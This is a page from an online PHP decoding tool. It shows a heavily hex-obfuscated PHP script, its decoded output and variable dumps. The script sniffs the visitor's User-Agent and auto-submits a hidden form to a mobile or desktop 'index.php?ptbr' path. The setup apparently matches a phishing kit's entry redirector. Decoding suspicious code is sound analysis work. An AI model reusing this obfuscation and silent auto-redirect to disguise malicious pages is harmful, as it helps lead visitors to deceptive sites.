Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cO\x42\x41\x4c\x53"}["\x6ek\x6fmt\x69\x63\x72\x69\x6dd"]="h\x6f\x72\x61..

Decoded Output download

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>acessando...</title>
</head>
<script language="JavaScript"> function formulario() { document.form.submit(); 
 } </script>
<body onLoad="formulario()">

<form name="form" method="post" action="detecta/index.php?ptbr

Did this file decode correctly?

Original Code

<?php

${"\x47\x4cO\x42\x41\x4c\x53"}["\x6ek\x6fmt\x69\x63\x72\x69\x6dd"]="h\x6f\x72\x61";
${"\x47\x4c\x4f\x42ALS"}["p\x6f\x72\x6c\x6cx\x74\x6b"]="\x64e\x74ec\x74\x61";
${"\x47\x4c\x4fB\x41LS"}["\x74\x65\x66yqe\x69m"]="\x73\x79\x6d\x62i\x61\x6e";
${"\x47LO\x42AL\x53"}["\x70kr\x67\x77vaa\x63\x72\x76\x6b"]="\x69\x70h\x6f\x6ee";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x68wy\x64\x69\x6c\x64pgz"]="\x69p\x6f\x64";
${"\x47LO\x42\x41\x4cS"}["nts\x73q\x78v\x76\x64\x74\x69"]="\x62e\x72\x72\x79";
$wahbeklib="\x73\x79\x6d\x62i\x61n";
${"\x47\x4c\x4f\x42\x41\x4cS"}["rbk\x77\x75\x64\x73\x68"]="\x62e\x72ry";
${"\x47\x4c\x4fB\x41\x4cS"}["\x6ap\x6a\x65o\x67\x79t"]="\x70\x61l\x6d\x70r\x65";
${"G\x4cO\x42A\x4c\x53"}["\x6c\x62hhk\x62rlm\x70\x72"]="\x61n\x64r\x6fid";
$xmbjaviaky="i\x70\x68\x6f\x6e\x65";
$ghpyktysir="i\x70a\x64";
${"\x47L\x4fBAL\x53"}["w\x6f\x63\x77\x73\x63\x6b\x6e\x65\x77v\x64"]="\x70a\x6c\x6d\x70\x72e";
echo "\x3c\x21DO\x43T\x59\x50\x45 \x68\x74\x6d\x6c\x20\x50U\x42\x4c\x49\x43 \x22-//\x573\x43//\x44T\x44\x20X\x48T\x4d\x4c 1\x2e0 Tra\x6esit\x69\x6fn\x61\x6c//\x45\x4e\" \"htt\x70://w\x77\x77.w3.o\x72g/\x54\x52/\x78\x68\x74\x6d\x6c1/\x44\x54D/x\x68\x74ml\x31-\x74\x72\x61nsit\x69o\x6e\x61\x6c\x2ed\x74\x64\x22>\n<html\x20xm\x6cn\x73\x3d\"\x68\x74\x74\x70://\x77w\x77\x2e\x773.o\x72\x67/19\x399/\x78\x68t\x6dl\"\x3e\n<\x68ea\x64\x3e\n\x3cme\x74a ht\x74p-\x65quiv=\x22\x43\x6fnten\x74-\x54y\x70\x65\" c\x6f\x6e\x74\x65nt=\"\x74\x65\x78\x74/\x68\x74ml\x3b \x63\x68\x61\x72se\x74=\x75tf-\x38\" />\n<t\x69t\x6ce\x3e\x61ces\x73ando...</\x74\x69\x74l\x65>\n</h\x65ad>\n\x3cscript \x6c\x61ng\x75age=\x22\x4aa\x76\x61\x53c\x72\x69\x70\x74\x22\x3e \x66u\x6e\x63t\x69\x6f\x6e\x20\x66\x6frmu\x6ca\x72\x69o() { \x64\x6f\x63ume\x6et\x2e\x66\x6fr\x6d\x2e\x73ub\x6d\x69t();
\x20} \x3c/\x73\x63\x72ip\x74>\n<bo\x64y \x6fn\x4coad\x3d\"fo\x72mu\x6car\x69\x6f()\">\n";
${$xmbjaviaky}=strpos($_SERVER["\x48\x54\x54P_USE\x52_\x41GEN\x54"],"iP\x68\x6fn\x65");
${$ghpyktysir}=strpos($_SERVER["HTTP_\x55\x53\x45R_\x41\x47\x45NT"],"\x69Pad");
$kjiqrjn="\x61\x6e\x64\x72\x6f\x69\x64";
${${"\x47\x4c\x4fBAL\x53"}["\x6cbh\x68\x6b\x62r\x6cm\x70\x72"]}=strpos($_SERVER["HTT\x50_U\x53ER_\x41\x47E\x4e\x54"],"An\x64r\x6f\x69d");
${${"G\x4c\x4fB\x41\x4cS"}["\x6a\x70\x6a\x65og\x79t"]}=strpos($_SERVER["\x48TT\x50\x5fUS\x45\x52_AGENT"],"webO\x53");
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6d\x66ac\x66z\x73o\x65\x6f"]="\x69\x70\x61\x64";
${${"\x47\x4cOBA\x4c\x53"}["\x72\x62\x6b\x77ud\x73h"]}=strpos($_SERVER["HT\x54P_US\x45\x52_AGE\x4eT"],"Bla\x63\x6bBe\x72ry");
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x68wy\x64\x69\x6cdp\x67\x7a"]}=strpos($_SERVER["\x48\x54T\x50_\x55SER_AGENT"],"iPo\x64");
${$wahbeklib}=strpos($_SERVER["\x48TTP_\x55S\x45R_AG\x45\x4eT"],"S\x79\x6d\x62i\x61n");
if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["p\x6brg\x77\x76a\x61\x63rv\x6b"]}||${${"G\x4c\x4fBALS"}["\x6d\x66\x61\x63\x66\x7a\x73\x6f\x65\x6f"]}||${$kjiqrjn}||${${"GLO\x42AL\x53"}["w\x6f\x63\x77\x73\x63\x6b\x6e\x65w\x76d"]}||${${"\x47\x4cO\x42\x41\x4cS"}["rhw\x79\x64\x69\x6cd\x70\x67\x7a"]}||${${"G\x4c\x4f\x42AL\x53"}["\x6e\x74\x73\x73q\x78v\x76\x64\x74\x69"]}||${${"\x47L\x4f\x42\x41\x4cS"}["t\x65f\x79\x71\x65im"]}==true){${"\x47\x4cOB\x41\x4cS"}["\x72t\x63\x77\x62\x66\x6av\x6e\x69yh"]="d\x65tec\x74\x61";
${${"\x47L\x4fB\x41L\x53"}["\x72\x74\x63\x77b\x66\x6a\x76ni\x79\x68"]}="m\x6f\x62ile";
}else{${${"\x47\x4c\x4fB\x41\x4cS"}["\x70o\x72\x6c\x6cxt\x6b"]}="h\x6f\x6d\x65";
}echo "\n\x3cfor\x6d\x20n\x61m\x65\x3d\"\x66\x6f\x72m\"\x20\x6d\x65th\x6fd=\x22\x70\x6fst\x22 \x61c\x74\x69on\x3d\x22";
$btmpuqs="d\x65\x74\x65\x63ta";
echo${$btmpuqs};
echo "/ind\x65x.ph\x70?\x70\x74b\x72";
${${"G\x4cO\x42\x41L\x53"}["\x6e\x6b\x6f\x6dti\x63\x72i\x6d\x64"]}=date("h,\x69-s,\x64,\x6d-\x79");
echo"$hora";
echo "\"\x3e\x3c/\x66\x6f\x72m>\n\n</\x62o\x64\x79>\n\x3c/\x68tm\x6c>\n";
?>

Function Calls

date 1
strpos 7

Variables

ipad 0
ipod 0
berry 0
iphone 0
GLOBALS [{'key': 'nkomticrimd', 'value': 'hora'}, {'key': 'porllxtk', 'value': 'detecta'}, {'key': 'tefyqeim', 'value': 'symbian'}, {'key': 'pkrgwvaacrvk', 'value': 'iphone'}, {'key': 'rhwydildpgz', 'value': 'ipod'}, {'key': 'ntssqxvvdti', 'value': 'berry'}, {'key': 'rbkwudsh', 'value': 'berry'}, {'key': 'jpjeogyt', 'value': 'palmpre'}, {'key': 'lbhhkbrlmpr', 'value': 'android'}, {'key': 'wocwscknewvd', 'value': 'palmpre'}, {'key': 'mfacfzsoeo', 'value': 'ipad'}, {'key': 'rtcwbfjvniyh', 'value': 'detecta'}]
android 0
detecta mobile
palmpre 0
symbian 0
$btmpuqs detecta
$kjiqrjn android
$wahbeklib symbian
$ghpyktysir ipad
$xmbjaviaky iphone

Stats

MD5 9eb3545426bec61a198bad0006a5cc28
Eval Count 0
Decode Time 153 ms